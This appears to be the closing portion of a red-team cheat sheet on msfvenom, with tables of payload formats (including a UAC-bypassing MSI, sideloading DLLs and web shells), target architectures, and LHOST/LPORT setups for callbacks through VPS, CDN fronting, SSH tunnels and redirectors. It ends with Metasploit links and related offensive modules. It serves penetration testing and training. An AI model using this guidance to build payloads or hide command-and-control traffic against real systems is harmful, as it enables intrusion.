exe | Windows | Standard Windows executable |
exe-service | Windows | Windows service executable |
exe-small | Windows | Smaller executable (limited features) |
dll | Windows | Dynamic link library for sideloading |
msi | Windows | Windows installer package |
msi-nouac | Windows | MSI that bypasses UAC prompt |
elf | Linux | Standard Linux executable |
macho | macOS | Standard macOS executable |
apk | Android | Android application package |
jar | Java | Java archive (cross-platform) |
war | Java web | Web application archive (Tomcat/JBoss) |
jsp | Java web | JavaServer Pages |
asp | Windows web | Classic ASP |
aspx | Windows web | ASP.NET web form |
php | PHP web | PHP script |
vba | Windows | Visual Basic for Applications macro |
vbs | Windows | VBScript |
hta-psh | Windows | HTML Application with PowerShell |
ps1 | Windows | PowerShell script |
raw | Any | Raw shellcode bytes |
c | Any | C byte array |
csharp | Any | C# byte array |
python | Any | Python byte array |
js_be | Any | JavaScript byte array |
hex | Any | Hexadecimal string |
::Architecture Flags
| Architecture | Platforms | Notes |
|---|---|---|
x86 | Windows, Linux | 32-bit Intel/AMD; widely compatible |
x64 | Windows, Linux, macOS | 64-bit; preferred for modern systems |
aarch64 | Linux, macOS | ARM 64-bit (Apple Silicon, ARM servers) |
armle | Linux, Android | ARM 32-bit little-endian (Raspberry Pi, mobile) |
mipsbe | Linux | MIPS big-endian (routers, embedded) |
mipsle | Linux | MIPS little-endian (some embedded) |
::Common LHOST/LPORT Scenarios
| Scenario | LHOST Value | LPORT Value | Notes |
|---|---|---|---|
| Direct LAN | Your LAN IP (e.g., 192.168.1.10) | Any free port | Simplest; works on same network |
| Public VPS | Public VPS IP/domain | 443 or 8443 | Register a domain for legitimacy |
| CDN Front | CDN domain (e.g., abc.cloudfront.net) | 443 | Use HttpHostHeader for backend |
| SSH tunnel | localhost or tunneled port | Tunnel local port | Forward via ssh -R |
| DNS redirect | Redirector domain | 443 | Socat/nginx on redirector forwards to TS |
_
Sources & Further Reading
- ▹Metasploit Unleashed — Free Metasploit course: https://www.offensive-security.com/metasploit-unleashed/
- ▹MSFvenom Official Documentation — https://docs.metasploit.com/docs/using-metasploit/basics/how-to-use-msfvenom.html
- ▹Metasploit Payloads Reference — https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom
- ▹LOLBAS Project — Living Off The Land binaries: https://lolbas-project.github.io/
- ▹PayloadsAllTheThings — Comprehensive payload collection: https://github.com/swisskyrepo/PayloadsAllTheThings
- ▹Staged vs Stageless Deep Dive — https://docs.metasploit.com/docs/using-metasploit/basics/understanding-payloads.html
RELATED REFERENCE MODULES
Tools
NetExec (nxc) Cheat Sheet
Reference for NetExec (nxc). Covers multi-protocol enumeration (SMB, LDAP, WinRM, MSSQL, RDP, WMI, SSH, VNC, FTP), safe password spraying, credential harvesting, BloodHound CE collection, execution methods, and detection telemetry.
LOAD →
Tools
File Transfer Techniques
Cheatsheet for moving files across Linux, Windows, restricted shells, and inspected networks. Built for CTF players, bug bounty hunters, and internal pentesters.
LOAD →
Linux
Linux Privilege Escalation: Basics & Exploitation
Kill chains for sudo abuse, SUID/capabilities, PATH hijacking, cron exploitation, NFS no_root_squash, and runtime process hunting with pspy. Built for Red Teamers and CTF players who skip the theory.
LOAD →